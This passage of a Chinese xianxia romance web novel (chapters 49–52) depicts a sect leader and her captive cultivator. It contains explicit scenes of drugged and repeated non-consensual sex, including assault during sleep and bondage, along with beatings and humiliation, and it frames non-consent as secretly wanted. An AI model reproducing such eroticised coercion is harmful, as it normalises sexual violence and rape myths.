她见过不知多少所谓的守正君子,男人,无非就是这样,嘴上再表达的坚贞不屈,到头来还是抵不过下半身的冲动,沦为只知道交1合的野兽。 约莫等了五六个时辰,她这才施施然地站起身,准备在他战到最激烈的时候,去捉奸。 她要让他最不堪,最放荡的,宛如路边野狗的一面暴露在人前。 她要见他惊惧,痛苦,苍白的,追悔莫及的面色。 她要撕碎他雅正端方的面具。 这样含霜履雪的人物,最终品行操守,她要彻底摧毁他的心志。 与此同时,她也捺下心底那浅浅淡淡的心痛与占有欲。 她怀揣着这样的想法,提着一盏灯,推开了暗室的门。 一只炙热的大掌倏然从黑暗中伸出! 拽住她的胳膊,将她用力一扯! 灯笼打了个骨碌滚落在地,她跌落在他身下,面色大变! “老母!” 她身后的人俱都惊叫起来,不知所措地看着这个伏在她身上的男人! 慕道瑛乌发披散,面色情潮晕红,眉眼却极为冷淡,乌黑的眼仁汗水洗过一般的洁净。 他面无表情将她压在身下,冷冷地从齿尖挤出几个字:“老母,还记得小子的死活吗?” 刘巧娥从未见过这样的慕道瑛! 冷淡,阴戾,霸道,她一下子慌了神,双腿软了下来,像变回了从前那个不会灵力的凡人。 “你、你怎会?!” 他痛恶地看着她,将她狠狠推开!如受伤的野兽一般蜷缩在角落里默默舔舐着伤口。 她浑身发软,惊魂未定地爬起来,拾起灯笼。 “老母!”“老母!”火光照见屋里那十几个手足无措,直挺挺立着的美人。 她面色难看:“怎么回事?” 美人喏喏,面露尴尬之色:“这位,这位慕道友宁死不从。” “宁死不从你们难道不会用强的吗?!”她怒气冲冲。 美人委屈:“可他,可他……他抱元守一,坐忘无我,毫无反应,我们又如何用强?” 刘巧娥怔了一下,打着灯笼往慕道瑛下裳处照了一下。 果没瞧出什么不堪来。 她面色愈发不好了。 都怪自己,将这些逸女们给宠坏了!平日里任由她们的性子,只挑自己喜欢的双修,还动辄甩手不干。 果不其然,美人又嘤嘤撒起娇来,“他……他又以死相逼,没有老母的吩咐,我等如何敢真叫他死了?”刘巧娥听得心烦意乱,横眉怒目挥手叫她们离开。 待人走干净,刘巧娥这才提着灯笼走到慕道瑛面前。 果见他那件血迹斑斑的青衣又染上了崭新的血渍。 她蹲下身,去拉他的手,瞧见t?他纤弱手腕被他用剑气割出一道道新伤,还在流血。 他任由她拉他的手,冷冷抿紧了唇,不置一词。 她也冷了脸,恶意碾他伤口,“你还是不是男人。除了只会寻死觅活这一招,你还会干什么?” 慕道瑛隐忍不言。 她言语愈发放肆了,“没用的银样镴枪头,烂吊无虫用!” 慕道瑛忍了又忍,终于忍无可忍,掀起眼睫,也不说话,乌黑的眼仁就这样紧紧地盯着她。 一寸一寸。 她突然感觉到不太妙。 美人一走,室内又只剩下两人,慕道瑛就这样面无表情看着她,下裳缓缓支起个可怖的弧度。 她遽然变了脸色,反手一掌:“放肆!” 他被打得偏过了头,又恍若未觉一般仍固执地抬起眼,目光缓缓描摹她每一寸肌肤。 被汗水浸透了的缥色道袍,紧贴肌肤,透出皙白肌理,暗藏的凶兽透出圆滚滚的粉色头颅来,气势昂扬,头角峥嵘,虎视眈眈,择人欲噬。 他明明没做什么,可刘巧娥对上他的视线,不住浑身颤抖,大汗淋漓。 明明是她要侮辱他。却反被他侮辱了。 仿佛他只用眼神,就被褪去了衣物,被他从头到脚侵1犯了个透。 她肉眼可见地慌乱起来,想要找回场子,嗤笑一声,抬脚踹他,用力去碾,去踩。 慕道瑛果然痛白了脸色,微微蹙紧了眉,喘-息了一声。 “唔——” 可他仍未开口求饶。 她目露讥嘲,又暗运了几分力气。 似乎是受够了她的折辱,慕道瑛眼睫一动,一把攥住她的脚踝,用力将她往身下一拖! “!!”刘巧娥一时不察,惊叫了一声,一具温热的,沉重的躯体已经压了下来。 她想要挣扎,但那头凶兽又钻出来,威胁般地抵着她腿间摆头。头角一晃而过,涎下道道水渍。 她又一下子失去了全身的力气,变回了那个不懂得任何术法的凡人,僵硬在了原地。 慕道瑛体重鲜明地压她身上,一边沉重喘息,一边轻扇她方才挣扎不休的大腿,冷冷道,“老母难道不是喜欢这样吗?” “滚开!”她手臂发软,听他如此羞辱,羞恼得红了眼眶。 她、她没出息,她的身体不听她的使唤,只要一挨到他的手臂,嗅见他身上的白檀香气,她就软成了一滩春水。 她红着眼叫道:“放开我!” 却换来他俯身低头咬了一口。 …… “啊!!”她一声尖叫,眼泪顺着鬓角坠入发间,如坠入了一片深海。 她怀抱着他的拱起的脊背,四肢并用,被迫敞开身躯抱紧了他,穿梭在浪潮迭起的海面。 她从来没受过这样的羞辱,她不断发抖,眼泪簌簌如雨下。 “杀了你。我要杀了你。”她哭着喃喃,还没说完就又被撞碎了。 她的哭泣很快变得含糊不清。 她知晓他到底有多煊赫,可猝不及防被突入,却还是膝弯打颤,难以吃下。 她挣扎,踢咬,摔打,却抵不过被按在地上,被慕道瑛捞着脊背,慢慢地一寸寸抚摸过脊椎骨,一点点倾轧,被迫填满的感觉。 他将他冰冷的失望,愤怒,却都换作另一种方式,毫不留情地灌注其中。 她越挣扎,反被按住双膝,甚至分得更开,他沉得更深。 自始至终,他都没有说一个字。逍遥喜春散也烧融了他的神志,他成了一味只知晓入牝的野兽。 直到,她膝弯一次次打滑,哭喊,“放开我,滚开!”令他吃力了。 他这才轻轻拂过她汗湿的长发,俯身在她皙白圆润的肩头咬了一口。 淡淡说:“你也喜欢的。” “你要得。”话甚至还没说完,便又深深埋入。 他早看出来了她忸怩拿乔的做作姿态。 他知道,她喜欢这样。 第50章 第 50 章 我的确后悔。悔得很。…… 雨水淅沥沥地落下。 暮春一过, 雨水变多。 刘巧娥从一片昏昏沉沉中醒来。 初初,神志还有些迷蒙,分辨不清身在何方。 直到腿间不断地淌下黏腻, 她回过神,脸色刹红! 四肢沉重, 指尖酸软。体内仿佛残存着那惊心动魄的余韵,慕道瑛这个混蛋昨夜将自己囫囵个全塞入了!她仍能清楚地感受到他的温度轮廓,纵横经络, 勃勃跳动。如今她体内全是清正阳气, 从来没这么正派过! 刘巧娥脸色愈发红了,眼尾含了一段煞气,抬眼去寻那个罪魁祸首! 却见, 昨夜那个罪魁祸首已整整齐齐地合拢了道袍。 年轻的男人, 乌发垂腰,文雅秀气的模样, 乌黑纤浓的眼睫低垂, 清瘦的身躯孤零零靠坐墙角,双手搭在膝上,地聆听着窗外的细雨。 神情怔忪而恍惚。 “慕、道、瑛!”她羞恼至极,一字一顿, 厉声喊出。 青年蓦然回神, 瞧见她,又是一怔。 眼底波澜乍起, 苍白面色几经变化, 从吃惊,到羞涩,到不可置信, 再一点点定格成,惨然、黯淡。 若非昨夜被他强迫的是自己,他这柔弱小白花的模样,刘巧娥还以为自己强了他。 慕道瑛情知自己在烈性春1药的影响下,做错了事。 他动了动唇,面上掠过一抹长长的憾恨,挣扎之色,最终什么也没说。 也不辩驳,只默默俯身叩头,行了深深一大礼。 “小子昨夜……”他喉口动了动,试图开口,但舌尖发苦,抵着喉咙,说出的话也嗓音喑哑,破碎不堪。 慕道瑛又怎能想到事情会发展到这种地步! 昨夜,他的脑子仿佛也被那烈性春1药烧化了,素来淡泊的情绪也被放大了数倍不止。 失望,愤怒,还有那隐晦难言的爱意与占有都混成了一团,令他全靠本能驱使做出了这等畜生不如的下作事来。 不过略略一想,慕道瑛就僵硬了,唇舌仿佛也不听使唤:“小子昨夜……狂悖孟浪,冒犯了老母……” “你一定要跟我这样说话吗?”刘巧娥冷笑一声,毫不留情地残忍击碎了他的聊守的自尊。 “该做的不该做的,做都做了,慕道瑛,你昨晚趴在我身上的狂浪模样,可不像现在这般体面啊。” 话音未落,她满意地看到慕道瑛骤然惨白,破碎的脸色。 虽说过程出了些差错。倒也误打误撞羞辱了他一番。 “我可没逼你动,倒是你昨天主动的不得了。” “老母!”慕道瑛实在没法接受这样的赤裸,直白的话语,难得加重了语气,打断了她。 “虚伪!”她顺势往地上一坐,裙摆花瓣般铺展。 慕道瑛心里咯噔一声,见她赤足披发,面色酡红,衣衫凌乱的模样,昨夜旖旎一一浮现眼前,女人哭叫着攀附着他,紧紧搂抱着他,仿佛天地之间只他一个,他深深地占有了她。 他心脏竟又漏跳一拍,口干舌燥。 慕道瑛视死如归般地闭了眼,轻轻叹息了一声,柔声问,“那巧娥,你又待如何呢?” 刘巧娥:“你以为我会要你负责?若做过的每一个男人,本座都要他负责,那群芳殿里早就人满为患了!” 明知这是事实,慕道瑛心里还是犹如被针冷不丁地密密扎了一遍。 他的心早已被她占有,却永远无法独占她一个。 他不想再继续这个话题了。 人之心理情绪十分奇妙,纵然知晓她不喜谈这些公事,他还是隐约存着几分故意。 垂着眼睫,一板一眼,轻声问:“昨夜我说的话,老母今日可能给瑛一个答复?” 她面色果然一下子阴沉下来。 慕道瑛见了,心头不免又是一动,生出几分不忍怜惜。 毕竟昨夜才发生过关系,钦慕之人,近在眼前,纵使百炼钢也成绕指柔,又岂能当真心如铁石? 他仍不想放弃劝服她的希望。 “老母……”慕道瑛踌躇了几息,还是开口,“瑛前些时日去了趟小茅岭。” 刘巧娥登时色变:“你查我?!” 慕道瑛抿了唇,拘谨说:“……抱歉。” 她生性好强,他预料到她或许不喜,可没想到她反应如此激烈。 “瑛未存什么旁的心思,我只是想,多了解你,想知道你的过往,你的经历……” “巧娥,我,很抱歉。未知你经历过这样的苦楚……”慕道瑛一字一顿,缓缓说。他有满腹的涩然想向她吐露。 想告诉她,他知道的,他知道她的委屈。 刘巧娥却厉声:“你以为我还是从前那个刘家的闺女不是?” “你错了!收起你无用的同情跟怜悯!” “这世上可怜人多了,我能活命,能修炼,便已是远超他人百般不止的幸运。” “与其可怜我,倒不如可怜可怜自己!” “实话跟你说了吧,”刘巧娥恶声道,“你若知晓我过往,便当知晓我有多恨这修真界!恨你们这些道貌岸然的修士!跟魔门合作,也正是为了不t?叫你们好过!” 她字字句句,当真如万箭穿心一般扎入他的心肺。 慕道瑛勉力听了,微微一怔,见她眉眼间真切的痛恨,深知了她决心。 知晓她心意已决,断无转圜的余地了。 他却仍不肯轻言放弃,不免追问一声:“当真,再无任何可能了吗?” “断无可能!” 慕道瑛攥紧手掌。 从小到大的教导,令他无法坐视刘巧娥跟魔门的做法。 他心一点点冷了下来。 想说些什么,却又提不起力气。 事已至此,分道扬镳的陌路似乎终成定局。 他别过脸,似乎不愿再多看她,只轻声问: “老母若恨我,又何必留我?” “你想跑?”刘巧娥扑上前,掐他下颌,拽起他头发,逼他跟自己对视,“还是想死?” 慕道瑛凛然不语,静静与她对视。 “死了这条心吧。也别以为昨天之后,便能拿捏我。” 她一把将他推到在地,尖锐话语如冰锥一般铺天盖地砸下,“我瞧你昨天倒是热情放浪得紧。 “若你能将我伺候好了,日后魔主了天下,我也不能不给你条生路。而现在,我什么时候起兴了,你就得脱了衣服,洗干净等着。” 慕道瑛闭目,默默忍受了这样的不堪。 她这些污言秽语,羞辱的不止是他,更是她自己。 劈头盖脸骂完这一通,刘巧娥便扬长而去。 之后几天她果真未曾露面,只吩咐了人将他又挪到了群芳殿。辟了间久无人住的冷落偏殿给他。 慕道瑛在这偏殿中,无事可做,既心痛于刘巧娥的态度,又忧心山外的局势,肉眼可见地憔悴了下来。 这天,他方才吹熄灯歇下,一转身便看到一条小小的,阴沉沉的身影。 他微一怔,认出此人身份:“老母?” 刘巧娥揽着他脖颈扑了上去。 他心一凛,想到她之前的话,“我什么时候起兴了,你就得脱了衣服,洗干净等着”有些抵触,伸手推开她。 可他如今哪有这样的力气?自从遇到刘巧娥之后,他似乎就永远都在受伤的路上。 他推一次,她便又扑上来。 “别这样。”慕道瑛皱眉。 她拉下他的胳膊,冷笑:“你难道不喜欢?” “不喜欢。” “但你那天可不是这样做的。” 慕道瑛面色一白,那夜的放纵是他内心的隐痛,已成他生平最追悔莫及一事。 他无法忍受这种没有感情的性1事。若她尊重彼此,伺候她也未尝不可。 慕道瑛抿了唇,冷淡作色,嗓音凉如冰玉,“那只是贵派灵丹妙药之功。” “若非如此,我绝不会碰你。” 刘巧娥见他仿佛忍受莫大耻辱一般,死鸭子嘴硬,说得断然,心中忿忿。 如此推拉了三四次,她恼了,卸了他那完好的一条胳膊,将他摁倒在榻上,骑了上去。 他反抗不过她,只能闭目不看,她咬他脖颈,喉结,下颌,逼他睁眼。 “看我。” 慕道瑛静静睁开一双漆黑的眼,水洗一般的灵明澄澈。 将如此温柔好性的人逼到这个地步,令她身体情不自禁有些激动。 她趴下去,用身体感受到他的硕1长,伏在他肩头嘲笑他,“没药就不会碰我?你身体似乎不是这么说的,我看你喜欢得不得了。” 慕道瑛羞愤欲死,身体热切的反应,令他难堪极了,太阳穴也突突直跳,牙关紧咬。 不……他不能……不可以…… “现在后悔有什么用?那夜你就不该招惹我!” 她又逼他去看,他不肯,她揪他头发。 慕道瑛豁尽全身的意志力避开,目光却仍不经意间一擦而过,瞥见二人如剪刀般紧密咬合,刹那间,他宛如被大钟撞了个正着,浑身上下火焰焚身,小兽昂扬,她清楚地感受到它又生长了一倍不止。 他天旋地转,头疼欲裂,耳畔嗡鸣,他不堪入目,闭了眼,嘴唇颤动:“我的确后悔。悔得很。” 可眼前仍浮现出那香1艳一幕。 “什么讨厌,不过是读书读多了,不敢跨越道德准则的自欺欺人。” 她小巧的手摸他块垒分明的腹肌。男人劲瘦的腰腹肌绷紧了。 慕道瑛缓缓合上眼睫,心底一遍遍告诉自己。 不要问,不要说,什么都不要想。 他忍受她在自己身上起落。许是自知自己那夜做错了事,对上她,他语气态度虽抵触,总有些气短,就连反抗,也多为和平示威般的温和。 她若是缠得狠了,他手便微微一顿,抬起来摸她的发,从鬓角一直摸到发尾。 可她若是命令他动一动,或亲一亲自己,则不论如何也不能的。掌心分明距离她腰身不到一寸,也绝不主动扶她起落。 他情知她所说其实不差,他只是压抑着本性,以多年所学之道德教化逼他厌她,恨她。 然而,身体却远比主人幽微百转的心理更加诚实。 他暗藏的那头小兽,仍是极度渴求着她,热烈欢迎着她,昂扬摇摆着头颅轻蹭。 慕道瑛微微阖眸,默忍至云收雨歇。 云销雨霁,也绝无温存缠绵的爱1欲。 他只默默跽坐,拢了凌乱的衣衫,遮了满身的青紫,束了长发。 在那之后的数日,刘巧娥常常半夜潜入他房中,也不问他的意愿,将他往床上一推,便自取之。 甚至他因伤痛昏昏沉沉,睡着觉时,梦里忽然传来不合时宜地快1感。 再一睁眼,便见她坐在了自己身上,等她餍足,又是转身就走。 他不知外界的局势,不知山中的岁月,每日只是被关在偏殿内,任她取用。 他仿佛真成了她养在房中的一件泄1欲的物件。 慕道瑛隐约也从她待自己的粗暴中,觉察到她的不对劲。 她像是一只焦躁不安的小兽,被困在笼子里,竭力寻找出路,却只能被逼上绝路。 她不高兴。至少,强迫他的时候,他没有感觉出她的快乐,她撞得遍体鳞伤,鲜血淋漓,只能不断地去撕咬别人,撕咬自己。 他不止一次试图跟她好好谈谈,弄明白她身上到底发生了什么。 她为何会突然有这样的改变? 是因为二老爷的伤这些时日又有所恶化,她痛恨他又对他曾有过几分旧情,才以这样的方式来宣泄自己的痛苦压力? 他想要问个清楚,可她一直拒绝沟通。 这一日,刘巧娥终于大发慈悲,放他出门。 被关在漆黑的偏殿这些时日,慕道瑛也确实想要出去走走,透透气。 久违的长空白云,令他有恍若隔世之感。 他静静地穿梭在群芳殿的花园内,思索自己的将来。再度沦为阶下囚的他到底要如何做。 想得入神,突然,耳畔传来瓷器碎裂的脆响。 旋即,破空之声,朝他颊上袭来,慕道瑛飞快闪身,躲过这劈面一耳光。 “放肆!你是谁?!走路不看路吗!” 他回神对上一张趾高气昂的脸。 那是个粉雕玉琢,眉目如画的小童。 他脚下是碎裂了一地的一只青瓷花觚,釉色温润,一见便知非凡品。 慕道瑛下意识道歉,可那小僮仍不依不饶,他眉心微微蹙起,很快意识到不对劲。 他方才虽心事重重,心不在焉,却并未感觉到自己主动撞到了什么东西。 想到这里,慕道瑛的视线不禁越过那小童,望向他的主人。 那乌发高束的少年,淡淡转过脸来。 是涂钦。 慕道瑛认出了这是之前跟何川他们一起的那个。 他心里隐约有了计较,便也不卑不亢,淡一颔首,“涂道友。”【魔蝎小说 mo xie xs .c om】 50-60 第51章 第 51 章 老母何苦放我不过 涂钦这才好像认出他来一般, 薄薄挑起唇角,笑了一笑,“慕君。” 慕道瑛静静瞧他, 心底如被打翻了五味瓶,掠过一点很浅淡的不喜。 非是针对此人性格, 只是单纯不喜他伺候刘巧娥的身份。 他退后两步,同他拉开距离,笼袖垂眸, 清清淡淡回:“方才一时不察, 冲撞了涂兄,惊得小僮打碎花觚,还请涂兄恕罪。” “你!”小僮怒目, “放肆!还敢颠倒黑白不成?!方才分明是你自己撞上来, 撞碎了花觚,咱们男君亲眼所见的, 当着男君的面你还竟敢空口栽赃?” “男君, 你说是不是?” “没错。”涂钦漫不经心地点点头,“这可是在下亲眼所见。慕兄,你这事做得可不够地道了,大名鼎鼎玉剑丹心, 自己做错了事, 怎么反倒推到小孩子身上?” 慕道瑛抿了唇角。 清虚身为一门之掌,竟然在众目睽睽之下, 叛门离教, 简直滑天下之大稽。 他会同刘巧娥,跟魔门合作,夺山河剑而去。便是他如今跟外界断联, 也能想象出玉清观将被其置于何等不堪的境地。 魔门夺了山河剑,接下t?来的目标必定是溯世镜。 刘巧娥这些时日早出晚归,怕是正为了此。 合欢宫如今恐怕也正处于正道讨伐的风口浪尖。 如今,外界正闹得沸反盈天。 只可惜自己身陷囹圄,偏被关在此地同她男宠争风吃醋。 他微微合眼,感到说不尽的荒诞跟疲惫。 明知他有意刁难,却也没了跟他虚与委蛇的心思,开门见山直接道:“涂兄,又打算让我如何赔呢?” 他平静,疲惫的态度反倒招致了涂钦一声冷笑:“慕兄当真是冰清玉洁!这模样活像我们主仆二人联合欺负你不成。” “清者自清,浊者自浊,上天自有分辨。”慕道瑛淡淡说。 涂钦眼见他淡泊致远,语出讥讽的模样,眼里更浮现出一抹嫉恨之色! 慕道瑛他难道不知,自己早已是这群芳殿诸男君的眼中钉,肉中刺?! 从前是捉摸不透老母对他的态度,试不出他的深浅,不敢轻举妄动。 如今那玉清掌教叛教的事早就风传天下了,一派之掌叛教,当真可笑! 慕道瑛他被老母命人一路拖回合欢宫的消息,也一早传得人尽皆知。 既无武功,也无依仗,更无主君怜爱,他拿什么狂,拿什么傲? 他一个眼色使过去,那小僮大受鼓舞,疾言厉色地大喝说,“涂君资历比你长,地位比你尊,你这是以下犯上,以贱犯贵,还不思悔改。又颠倒黑白,栽赃同门!还不快跪下?!” 慕道瑛一动不动。 他虽好性,面对刘巧娥也总曲意婉转,可这并不代表任何一人都能来辱他。 那小僮大怒,上前就要拿他。 却被慕道瑛轻轻一闪,闪了过去,连片衣角都没挨上。 小僮气红了脸,正要发作,倏地望向前方,眼神一亮:“老母!” 慕道瑛略一僵,迎面瞧见正朝三人走来的刘巧娥。 她似乎刚从宫外回来,风尘仆仆,袖子上沾了血。 刘巧娥扫一眼面前乱象,淡淡问:“怎么回事?” 涂钦见她,登时换个面色,露出个灿烂微笑,“老母!你回来了!” 他年纪不大,眉眼俊俏,露齿一笑,显得天真无辜,俊逸可爱。 “倒也没什么大事。”涂钦的目光有意无意扫过慕道瑛,笑道,“三日前老母不是送我一只花觚?我想着今日天气好,院子里的花开得也热闹,便端了花觚,剪几朵花插瓶。没想到,遇到了慕兄……” 他面露迟疑之色,“碎了花觚……” 刘巧娥挑眉,转过脸来问他:“确有其事?” 慕道瑛一言不答,神情不属。 三日前,他突然想起,三日前那晚刘巧娥曾来找过他。 他从梦中惊醒,她便已骑到了他的身上,见他醒转,她忙弯腰捂住他的嘴唇,抽出小衣绑缚住他的双手,不给他说话的机会。 待纾解了欲望之后,她看也没看仍被绑缚在床榻之间的他,扬长而去。 他突然忆起此事,心里抽痛,有些不是滋味。原来那天白日里,她便跟涂钦厮混在一起,说些亲密爱语么…… 她怎么又能在夜里状若无事般地来寻他? 恍然回神,瞧见涂钦艳丽的眉眼,挑衅的目光。 明知涂钦他含糊其辞,故意糊弄了中间经过,是想描摹成他争风吃醋,故意打碎花觚。只是对上刘巧娥的目光,慕道瑛却心灰意冷,忽然歇了口舌之争的想法。 他到底会不会做出这种事,她难道还不清楚吗? 他拱了拱手,神倦意懒,淡淡说:“瑛方才光顾着想事,一时不察,与这小僮相撞,不慎打碎了花觚,老母英明神武,想来自有分辨,定能还瑛一个清白。” 涂钦有些急了眼。 刘巧娥心里好笑:这笨蛋。 但胜在貌美,是个十足的花瓶美人。 她不喜欢太聪明的男人,因为她已吃够他们的苦楚,而聪明的男人又大多自以为是。 “花觚固然珍惜,可涂君更是本尊最疼爱的美人。” 刘巧娥话锋一转,似笑非笑瞧向慕道瑛:“如今,本座最疼爱的美人恼了你。慕君,你便委屈委屈,遂了他的意,哄哄他?” “跪下罢。”她泠然道。 慕道瑛静静对上她的视线,抽痛的心脏慢慢平复了下来,随之传遍全身的是一阵冷意。 心脏恍若被一点点浸入了冰水里,冷进齿间,骨缝。 刘巧娥知道他在想什么。 高洁如慕道长而言,被困在后宫中,跟男人拈酸吃醋,唇枪舌剑,一定求生不得,求死不能吧? 瞧见两人对峙目光,涂钦顿时有些慌乱,刘巧娥并未出言阻拦,他眼珠一转,借题发挥,责令慕道瑛到那碎石路上跪着去了。 慕道瑛的确不想再看见他们两个,他退回了碎石路上,却没有跪。 他仍站着,而且站得脊背挺直,比之前更加挺拔。 涂钦大怒,叫身边几个宫侍过去拿住他。 下过雨的碎石路,湿滑冰冷。 宫侍们挟棍而来,噼里啪啦的棍仗声犹如雨点一般落在慕道瑛的背后。 他站得直直的。 一棍,又一棍。 他踉跄了一步。 直到百棍加身,慕道瑛终于弯折了腰,伤重未愈的双膝重重跌磕进碎石间,雨水染湿了淡色道袍,成了雨过天青的冷青色。 而唯一不变的是,慕道瑛的视线始终穿过面前这一丛芍药,跟刘巧娥相对。 可刘巧娥却已移开了视线,扭脸跟涂钦说了些什么。 涂钦似乎逗笑了她,她展颜一笑,杏眼灵动,娇憨可爱,不似一宫掌教,倒似跟情郎亲昵的单纯少女。 他微微阖眸,伤口崩裂,鲜血很快顺着肌肤淌了下来,像温热的雨。有什么好失望的呢,他难道还要指望她给自己撑腰不成? 不必想。 他竭力令自己的思绪放空。或者说去想些别的,清虚,玉清,溯世镜,想些什么旁的都好…… 不知过了多久。直到身上的棍棒渐稀了,消失了。 慕道瑛这才恍若隔世般抬起眼。 斜阳的余晖静静地挥洒在芍药丛中。红药寥落东风。 眼前空落落,唯余一地残阳落红,除此之外,早已不见一人,他心仿佛也生生空了一块。 旋即,便升起无边的自嘲,苦涩。 早知如此,他又在期待什么? 期待,她只是跟他一时置气?眼里实际上还有他? 他难不成还以为她会在这里等他受完刑不成? 他难道以为她会不舍? 她本就恨自己,如今程洵又受了重伤,她恐怕早已恨毒了自己。 无垢老母为博涂钦一笑,下令仗责慕道瑛的消息很快便传遍了整个合欢宫。 与涂钦那边的鲜花着锦,烈火烹油的热闹不同。 慕道瑛这里原本还偶有人上门,这些时日,却是门庭冷落,伺候的杂役宫婢也颇多怠慢,冷意冷食。 下面的人是惯会见风使舵的。 慕道瑛虽不常出门,可他偏殿几个小僮每每出门为他煎药,却总要受人刁难。 他心中也清楚,若无上面人隐隐约约,暗中授意,纵使失势,下面人是绝不敢如此胆大包天,磋磨掌教男宠的。 他无奈之下,只能强撑病体,替他们讨公道。 修真界到底还是强者为尊, 他强运内力使出几招,令这些人暂时收敛了不少,不敢再明目张胆地刁难他宫里的人, 可背地里什么难听的污言秽语都骂得出来。 慕道瑛却也无心,或者说无暇去管了。 那日使出几招,牵连内伤,他又昏昏沉沉,昏迷了数日。 直到,夜半突然被一阵叮叮咚咚的琴声吵醒。 这琴声虽然技法不甚娴熟,好在情真意切。 只是曲意甚为沉郁、哀婉,好似有无限心事,却只能被压抑在琴弦之间。 曲到高潮,那被逼抑到极点的郁恨俨然已至触目惊心的癫狂境界,竟微传来弦断之音! 此曲勾起慕道瑛几分动容情往。 在这合欢宫中,竟也有如此孤愤悒怒的琴曲吗? 他不禁循着琴声走出偏殿,遥遥瞧见,月华如水,润湿白日里的碧瓦飞甍。 一角飞檐直探入墨蓝色的夜空,一道抱琴的人影,垂落着一条腿,踞坐在檐角之上。 可待瞧见此人身影,慕道瑛登时抿了唇角,冷了心意,转身就走。 “别走!”那声音叫道。 纵使对此人已失望至极,慕道瑛却还是忍不住顿了脚步。 刘巧娥抱了琴,跳了下来。 也不知她今日到底改了什么性子。亦或者,今晚明月夜,夜色如水,勾连起她几分惆怅,她也微抿了唇角,语气竟破天荒的有几分小心翼翼。 “那日……你,怎么样?” 她不问则矣,此一问。慕道瑛一言不发,提步就走,行步间,步履t?几分踉跄颠跛。 她看在眼里,登时明了。 “这些时日是我不好,我叫人送些药材来给你……” 她也不知吃错了什么药,忽然追着他在他身后嘘寒问暖。 慕道瑛不得不背对着她停下脚步,阖了眼,叹息说:“老母,瑛位卑性拙,飘零微贱如辙下之尘,君脚下之土。 “更遑论,如今又身残躯病,小子自知身份,断不敢对老母有任何痴心妄想。 “实在受不得老母忽远忽近,忽冷忽热的态度。” 他需努力克制,才不至于令自己言辞中流露出几分怨怼。 “老母何苦放我不过,如此折磨我?” “你!”刘巧娥心里咯噔一声,被他说得有些心虚理亏。 ……他是知道她这几日的吩咐了。 她扬眉瞪眼,色厉内荏:“我好意关心你,在你眼里竟然就是折磨不成?” 慕道瑛不为所动,仍背心相对,嗓音轻而微冷:“你既如此恨我。何不索性杀了我,倒来个干净痛——” “你?”他皱眉转身,失声见她突然冲上前,攥住自己的手。 “你又在做什么?” 刘巧娥握住他伤痕累累的瘦弱大掌,就往自己怀里送。 “之前是我不好,我、我不该同你置气!” 哪怕已下定决心与她泾渭分明,桥归桥,路归路。可被她抱紧指尖。 慕道瑛曲指一动,一股失重之眩晕感仍直击心扉。 他喉口动了动,没吭声。 方才他微愠之下的一转身,显然是个错误。目光一落在她脸上,他便再也移不开了。 她生性好强,从未如此低声下气求过别人,才一张口,脸色就红了,热度蔓延直脖颈,她期期艾艾,羞恼至极,连杏眼也不由泛起滟滟清亮水光,说不出的可怜可爱。 他看她一会儿,又闭上眼。 她顺势抱他胳膊,“你……你疼不疼。” 慕道瑛心惊肉跳:生平从不撒娇的人,软着声卖起娇来简直是摄人心魄的鬼神。想来圣君复生,倾天地之力的武学威力,也不及她半分吧? “你也知道,二哥跟我……”刘巧娥才起了个话头,提到“二哥”便感觉到怀里慕道瑛要抽手而去,慌忙又抱紧了,贴在胸口。 “你且听我说。我这人脾气不好。你若去了小茅岭,也该知晓,我家人一早是都死了的。” 慕道瑛欲离去的手停了下来。 “机缘巧合之下,才认识了二老爷跟玉柔,这么多年下来,几乎是视作亲哥哥,亲姐姐,亲家人了。” “你伤他如此,我一时之间气昏了头……” “你……你之后又对我如此冷淡,你知道我的个性的,你强我便更强……” 花言巧语。慕道瑛听了,心中不禁轻轻批判,却仍是,鬼使神差静静听了下去。 “若非如此,我为何夜夜来找你。”刘巧娥脸上发热,嗓音也变低了,“宫里那么多男君,我若真是欲求不满,何必勉强你。你那么不情不愿的,都是老娘我……” “我……”她憋半天,讪讪说,“我在动。” 天可怜见,她连直抒胸臆,与人掬诚相示地聊个天,说个话都做不到,更遑论软着语气撒娇? 她语气含含糊糊,吞吞吐吐,却仿佛被口水吞过几遍,显得更加暧昧。 也不知是不是被她低低的气音所感染。 他心一跳,耳根也不由蔓起一点薄粉,倒觉出自己的过分了。 “你打听打听,这群芳殿我是不是甚少去?我……” 刘巧娥语气突然冷淡了下来,“我当年已经脱够衣服了……” 他闻此言,思及她过去,心里又多不忍,险些便要转过身去。 之前打定心思,坚硬如铁的一颗心,却又渐渐破冰了。 “总而言之。”刘巧娥不太习惯伤春悲秋,述说自己的可怜,顿了顿,便敷衍揭过,“我是对你有情,才有欲。” “那日,替涂钦撑腰,不过是见不惯你对我这样冷淡,想试试你的反应而已。” 为了试他的反应,才替涂钦撑腰。太荒唐了。饶是慕道瑛已被她哄了个七八分,也忍不住心中批判她的虚伪。 可即便心里明了她的虚伪,被她这一顿说唱念打下来,他还是忍不住心软了。 慕道瑛虽仍未转身,却反手轻轻摸她乌发,她将头搭在他肩头。 他嗓音轻轻的,仿佛喉咙里逼出的气音,“你到底想要什么?还有什么,是我能给你的?” 话音刚落,他清楚地感觉到她身形一僵。 果不出他所料。慕道瑛心里轻轻叹了口气,有她这一顿开场铺垫,却并未太过失望生气。 她挣扎了一会儿,才咬牙低声开口:“程洵他……情况不太妙。” “他虽醒了过来,但替我挡下的那一击,还是炸碎了他的筋骨。我这些时日,替他找了许多医师,都没办法。” “说他伤得太严重。下半辈子只能在床榻间度过了,我视他如兄,怎忍心见下辈子瘫痪度日?” 难怪这些时日,她总白日里出,夜半风尘仆仆而归,一来便不言不语,使劲儿折腾他,多有泄愤泄欲之意。 他顿了顿,摸她茸茸发顶,心沉了下来。 大脑里仿佛风吹过一个模模糊糊的念头,他隐约间有所预料。 她,到底想要什么? 表面仍不动声色,柔声问:“可有办法?” 刘巧娥没有立即回答,而是顿了好一会儿,久到他指尖都被夜露浸染,身上微冷。 她这才直起身子,嗓音少了几分方才故作的娇软,多了几分轻描淡写的冷清。 “我想借你的剑骨。” 第52章 第 52 章 可还曾对其他人撒过娇?…… 春夜静谧。 足能令她的嗓音如碎冰般, 字字砸在地上,清晰可闻,犹带余响。 “我想借你的剑骨。” 慕道瑛抚摸她的手顿住了。 “是借?”他有些佩服自己的语气在此时还能保持静冷镇定, “还是‘拿’?” 她毫不迟疑:“当然是借!医师说剑骨是可再生之骨,灵气丰蕴, 倘若宿主受伤骨裂,断折,还能自我修复。借你一段剑骨, 置入他体内, 等他骨骼修复,再还给你,又如何?” 一枝晚樱正巧擦着他二人发顶而过, 夜风吹来, 